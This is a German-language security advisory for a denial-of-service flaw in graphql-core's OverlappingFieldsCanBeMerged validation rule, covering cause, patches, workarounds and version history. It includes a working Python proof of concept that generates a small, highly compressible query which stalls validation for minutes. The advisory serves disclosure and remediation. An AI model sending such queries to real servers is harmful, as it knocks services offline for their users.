Hoch

GraphQL-core: Denial-of-Service über quadratische Komplexität in der Validierungsregel OverlappingFieldsCanBeMerged

  • Veröffentlicht: 22.10.2026
  • Aktualisiert: 26.10.2026 10:00

Zusammenfassung

Die Validierungsregel OverlappingFieldsCanBeMerged kann durch eine kleine, stark komprimierbare Abfrage in eine quadratische — und im schlimmsten Fall O(n²·m²) — Laufzeit getrieben werden. Ein einzelnes Dokument von 364 KB kann einen CPU-Kern während der Validierung für mehr als fünf Minuten auslasten, bevor überhaupt ein Resolver ausgeführt wird. Da die Regel Teil von specified_rules und somit standardmäßig aktiviert ist, ist jeder auf GraphQL-core basierende Server in den Standardeinstellungen betroffen.

Details

OverlappingFieldsCanBeMerged vergleicht jedes Paar von Feldern, die denselben Antwortnamen teilen, und führt Rekursionen in deren Unterselektionen durch. Die für CVE-2023-26144 (GHSA-9pv7-vfvm-6vr7) hinzugefügte Memoisation verwendet die Identität von benannten Fragmenten (named fragments) als Schlüssel und deckt diesen Pfad daher nicht ab: Inline-Fragmente werden vor der Cache-Konsultation in das übergeordnete Auswahlset eingefügt, wodurch jedes Paar auf jeder Verschachtelungsebene von Grund auf neu verglichen wird.

Das Wiederholen eines Inline-Fragments, das denselben Antwortnamen auf zwei Verschachtelungsebenen auswählt, multipliziert beide Effekte. Es gab weder ein Vergleichsbudget noch ein Validierungs-Timeout, sodass die Regel unabhängig vom Aufwand bis zum Ende lief.

Der Aufwand entsteht in der Validierungsphase, was eine Abwehr außerhalb der Bibliothek erschwert: Mechanismen zur Begrenzung der Abfragetiefe, Komplexitätsanalysatoren und Kostenschätzer arbeiten erst nach der Validierung auf dem geparsten Dokument, und das bösartige Dokument ist trivial flach (Tiefe 3, Komplexität 1). Die Nutzlast besteht zudem aus einer einzigen kurzen, mehrfach wiederholten Zeichenkette, komprimiert sich daher auf wenige Kilobytes und umgeht so Begrenzungen der Anfragedatenmenge sowie WAF-Prüfungen, die nur die komprimierte Anfrage analysieren.

Proof of Concept

python
import time
from graphql import build_schema, parse, validate

schema = build_schema(
    "type Query { field: Node } type Node { f: Node, g: Node, x: String }"
)

def gen(n: int, m: int) -> str:
    inner = " ".join(["... on Node { x }"] * m)
    outer = " ".join([f"... on Node {{ f {{ {inner} }} }}"] * n)
    return f"{{ field {{ {outer} }} }}"

query = gen(200, 100)          # 364 KB, gzips to a few KB
document = parse(query)
start = time.perf_counter()
validate(schema, document)      # returns no errors — it just burns CPU
print(f"{(time.perf_counter() - start):.0f}s")

Gemessen auf GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64:

n m Abfragegröße Validierungszeit
20 20 7.6 KB 0.16 s
50 50 46 KB 5.2 s
100 100 182 KB 81 s
200 100 364 KB 319 s

Die Verdopplung von n bei fixem m vervierfacht die Zeit, wie für eine quadratische äußere Schleife zu erwarten ist, die einen quadratischen inneren Durchlauf steuert.

Auswirkungen

Denial-of-Service. Eine Anfrage bindet einen Worker-Prozess für mehrere Minuten; da CPython das GIL für diese reine CPU-Arbeit hält, kann bereits eine Handvoll gleichzeitiger Anfragen ein typisches Multi-Worker-Deployment vollständig auslasten. Eine Authentifizierung ist nicht erforderlich; es werden keine Daten offengelegt oder geändert.

Patches

Behoben in 3.2.12 und 3.3.0rc1.

Die Validierung erzwingt nun ein Vergleichsbudget pro Dokument. Sobald MAX_FIELD_COMPARISONS (Standardwert 250_000) paarweise Vergleiche durchgeführt wurden, bricht die Regel ab und meldet einen GraphQLError, anstatt bis zum Ende durchzulaufen:

Query is too complex to validate for overlapping fields: exceeded 250000 field comparisons. Validation was aborted.

Der Standardwert liegt weit über dem, was eine realistische Abfrage erreicht. Es handelt sich um eine Konstante auf Modulebene, die erhöht oder gesenkt werden kann:

python
from graphql.validation.rules import overlapping_fields_can_be_merged

overlapping_fields_can_be_merged.MAX_FIELD_COMPARISONS = 1_000_000

Beachten Sie die Verhaltensänderung: Eine pathologische Abfrage, die zuvor — langsam — validiert wurde, führt nun zu einem Validierungsfehler.

Problemumgehungen

Wenn ein Upgrade nicht möglich ist, weisen Sie übergroße Dokumente ab, bevor sie validate() erreichen. Beachten Sie, dass eine Begrenzung der Anfragedatengröße auf den dekomprimierten Textkörper angewendet werden muss, um wirksam zu sein, da die Nutzlast stark komprimierbar ist. Das Entfernen von OverlappingFieldsCanBeMergedRule aus dem Regelsatz ist kein sicherer Workaround, da es sich um eine von der Spezifikation vorgeschriebene Korrektheitsregel handelt.

Eine Begrenzung der Anfragedatengröße bleibt auch nach dem Upgrade ratsam — das Vergleichsbudget begrenzt lediglich diese spezifische Regel, nicht die Gesamtkosten der Anfrage.

Danksagung

Gemeldet von @BZHunt, der die Fixes vor der Veröffentlichung ebenfalls überprüfte. In Gedenken an ZaX, die treibende Kraft hinter dieser Entdeckung.

Unabhängig entdeckt und diagnostiziert von @bcmyguest, der ebenfalls einen Fix vorgeschlagen hat.

Was zu tun ist

Aktualisieren Sie auf 3.2.12, 3.3.0rc1 oder neuer. Wenn kein Upgrade möglich ist, begrenzen Sie die Größe dekomprimierter Anfragen vor der Übergabe an validate(). Deaktivieren Sie OverlappingFieldsCanBeMergedRule nicht.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) graphql-core >= 3.0.0, < 3.2.12, >= 3.3.0a1, < 3.3.0rc1 3.2.12, 3.3.0rc1

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-400, CWE-407
Plattform
Python (PyPI)
Paket
graphql-core
Veröffentlicht
22.10.2026
Aktualisiert
26.10.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-vj8h-fx38-h3vc - CC BY 4.0

Schwachstellenhistorie: graphql-core

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
3
Erste → letzte
10.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 3

Veröffentlichungen pro Jahr

  1. 2026: 3
  1. Hoch · 7.5 CVE-2026-119286 >= 3.3.0a3, < 3.3.1 3.3.1
  2. Hoch · 7.5 CVE-2026-75508 >= 3.2.3, < 3.2.12, >= 3.3.0a3, < 3.3.0rc1 3.2.12, 3.3.0rc1
  3. GraphQL-core: Denial-of-Service über quadratische Komplexität in der Validierungsregel OverlappingFieldsCanBeMerged dieser Eintrag
    Hoch · 7.5 CVE-2026-75507 >= 3.0.0, < 3.2.12, >= 3.3.0a1, < 3.3.0rc1 3.2.12, 3.3.0rc1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.